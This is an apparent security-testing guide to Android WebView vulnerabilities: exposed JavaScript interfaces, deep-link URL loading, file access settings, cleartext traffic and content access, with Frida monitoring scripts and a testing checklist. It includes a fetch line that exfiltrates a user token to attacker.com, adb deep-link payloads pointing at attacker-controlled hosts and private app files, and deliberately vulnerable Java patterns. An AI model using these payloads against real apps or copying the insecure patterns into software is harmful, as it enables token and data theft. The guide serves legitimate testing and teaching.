WebView vulnerabilities are among the most impactful bugs you can find in Android apps. A single misconfigured WebView can give an attacker JavaScript execution inside the app, access to native Android APIs, content theft from other origins, and in the worst cases, remote code execution on the device. Yet WebView security is frequently overlooked during development because the attack surface is not obvious.
This guide covers every major WebView vulnerability class, how to identify them, and how to exploit them — based on patterns seen in real app security audits and bug bounty reports.
Understanding Android WebView Architecture
WebView is a component that renders web content inside an Android app. It uses the same Blink rendering engine as Chrome. From a security perspective, there are three things that make WebViews dangerous:
- JavaScript interfaces — bridges that expose native Android code to JavaScript running in the WebView
- URL loading — which URLs the WebView will load and whether they receive native capabilities
- Security settings — by default, some dangerous settings are enabled; developers need to explicitly disable them
Vulnerability 1: Exposed JavaScript Interface
Severity: Critical
The most dangerous WebView vulnerability. When a developer calls addJavascriptInterface(), they expose a Java object to JavaScript. Any JavaScript running in the WebView — including JavaScript from attacker-controlled pages — can call the methods of that object.
Identifying in Code
Exploitation
If the WebView loads attacker-controlled content (via deep link, MITM, or URL injection), the attacker can call all exposed methods:
// Attacker-controlled JavaScript running in the WebView
var token = AndroidBridge.getUserToken();
// Exfiltrate the token to attacker server
fetch("https://attacker.com/steal?t=" + token);
On Android 4.1 and below, addJavascriptInterface() was exploitable via reflection to achieve arbitrary code execution. Post-4.2, only methods annotated with @JavascriptInterface are exposed — but those methods can still be extremely dangerous if they touch sensitive data or functionality.
Testing
Vulnerability 2: Arbitrary URL Loading via Deep Links
Severity: High
If an app accepts URLs via deep links (intent-filter with custom scheme or http/https) and loads them directly in a WebView that has JavaScript interfaces, an attacker can craft a deep link that loads malicious JavaScript.
Vulnerable Pattern
// Activity handles deep links like myapp://open?url=https://...
protected void onCreate(Bundle savedInstanceState) {
Uri data = getIntent().getData();
String url = data.getQueryParameter("url"); // Attacker-controlled
webView.loadUrl(url); // Loaded directly with JS interfaces active
}
Exploitation
# Attack: craft a deep link that loads attacker-controlled JS
adb shell am start -a android.intent.action.VIEW \
-d "myapp://open?url=https://attacker.com/payload.html"
# payload.html on attacker server:
#
Testing with ADB
# Find deep link scheme from manifest
grep -i "scheme\|host\|pathPrefix" AndroidManifest.xml
# Test with various URL inputs via ADB
adb shell am start -a android.intent.action.VIEW -d "yourscheme://path?url=javascript:alert(1)"
adb shell am start -a android.intent.action.VIEW -d "yourscheme://path?url=https://evil.com"
adb shell am start -a android.intent.action.VIEW -d "yourscheme://path?url=file:///data/data/com.target.app/shared_prefs/"
Vulnerability 3: File Access and Local File Inclusion
Severity: High to Critical
Several WebView settings control access to local files:
// These settings are ON by default — often left enabled unintentionally
webView.getSettings().setAllowFileAccess(true); // Access file:// URLs
webView.getSettings().setAllowFileAccessFromFileURLs(true); // JS from file:// can read other files
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // JS from file:// can access any origin
With setAllowUniversalAccessFromFileURLs(true), JavaScript loaded from a local file can make cross-origin requests — including to http://localhost endpoints, or to other file:// paths.
Attack Scenario
If the app loads attacker-controlled HTML into the WebView (even temporarily), and universal file access is enabled, the attacker can steal app data:
Checking File Access Settings
// Search in decompiled code
grep -r "AllowFileAccess\|AllowUniversalAccess\|setAllowFile" --include="*.java" .
// Dynamic check with Frida
Java.perform(function() {
var WebSettings = Java.use("android.webkit.WebSettings");
WebSettings.setAllowUniversalAccessFromFileURLs.implementation = function(flag) {
console.log("[*] setAllowUniversalAccessFromFileURLs: " + flag);
this.setAllowUniversalAccessFromFileURLs(flag);
};
WebSettings.setAllowFileAccessFromFileURLs.implementation = function(flag) {
console.log("[*] setAllowFileAccessFromFileURLs: " + flag);
this.setAllowFileAccessFromFileURLs(flag);
};
});
Vulnerability 4: Cleartext Traffic and Mixed Content
Severity: Medium
WebViews that load HTTP content (not HTTPS) are vulnerable to MITM attacks. An attacker on the same network can inject JavaScript, steal session cookies, or serve malicious content. Check for:
// Cleartext loading enabled
webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
// Or in AndroidManifest.xml
android:usesCleartextTraffic="true"
Combined with a JS interface, MITM-injected JavaScript can call any exposed native method.
Vulnerability 5: WebView Content Provider Exposure
Severity: Medium to High
Some apps expose content:// URLs to WebViews, which can expose internal app content to loaded web pages:
// Check if content:// access is enabled (default: false, good)
webView.getSettings().setAllowContentAccess(true); // Risky if also loading remote content
If setAllowContentAccess(true) is set and the WebView loads attacker-controlled HTML, the attacker can read content provider data via content:// URLs from JavaScript.
Testing WebViews with Frida
A useful monitoring script that logs all WebView activity:
Java.perform(function() {
var WebView = Java.use("android.webkit.WebView");
// Log all URLs loaded
WebView.loadUrl.overload("java.lang.String").implementation = function(url) {
console.log("[WebView] loadUrl: " + url);
this.loadUrl(url);
};
// Log JavaScript evaluation
WebView.evaluateJavascript.implementation = function(script, callback) {
console.log("[WebView] evaluateJavascript: " + script.substring(0, 200));
this.evaluateJavascript(script, callback);
};
// Log JS interface registration
WebView.addJavascriptInterface.implementation = function(obj, name) {
console.log("[WebView] addJavascriptInterface: " + name + " -> " + obj.getClass().getName());
// Enumerate methods of the interface
var methods = obj.getClass().getDeclaredMethods();
methods.forEach(function(method) {
var annotations = method.getDeclaredAnnotations();
for (var i = 0; i < annotations.length; i++) {
if (annotations[i].toString().indexOf("JavascriptInterface") !== -1) {
console.log(" [+] Exposed method: " + method.getName());
}
}
});
this.addJavascriptInterface(obj, name);
};
// Log WebView settings changes
var WebSettings = Java.use("android.webkit.WebSettings");
WebSettings.setJavaScriptEnabled.implementation = function(flag) {
console.log("[WebView] JavaScript enabled: " + flag);
this.setJavaScriptEnabled(flag);
};
});
Practical Testing Checklist
Run through this checklist for every WebView you find in a target app:
- Does it have
addJavascriptInterface()? If yes — what methods are exposed and are they sensitive? - Does the WebView load attacker-controllable URLs? (via deep links, intents, query params)
- Is
setAllowUniversalAccessFromFileURLs(true)set? - Is
setAllowFileAccessFromFileURLs(true)set? - Does it load HTTP (not HTTPS) content?
- Is
setMixedContentMode(MIXED_CONTENT_ALWAYS_ALLOW)set? - Is
setAllowContentAccess(true)set with remote content loading? - Does it override
shouldOverrideUrlLoadingin a way that could be abused?
Real-World Bug Bounty Patterns
WebView vulnerabilities appear regularly in bug bounty programs. The most common high-payout reports combine:
- Deep link + JS interface: app exposes deep link that loads any URL in a WebView that has a sensitive JS interface → attacker can steal user tokens by getting victim to click a link
- Open redirect + JS interface: app’s web backend has an open redirect that redirects to attacker.com → app loads this redirect URL in WebView with JS interface → attacker controls loaded JavaScript
- File:// loading with universal access: app accepts file:// URLs via intent and loads in WebView with universal file access → attacker can read all app private files
The impact multiplier is always the JavaScript interface. A WebView that loads external URLs but has no JS interface is much lower risk than one that does. Assess impact based on what the exposed interface can do, not just the fact that external content is loaded.
Using Djini.ai for WebView Endpoint Discovery
WebView vulnerabilities often involve backend endpoints (OAuth redirects, deep link handlers, web-to-native bridges). Djini.ai can map these API endpoints and test for open redirects and parameter injection that could be chained with WebView vulnerabilities for higher-impact attacks.
Practice Android WebView security testing. Mobile Hacking Lab includes WebView labs covering JavaScript interface exploitation, file access vulnerabilities, and deep link chaining. Start free at mobilehackinglab.com.



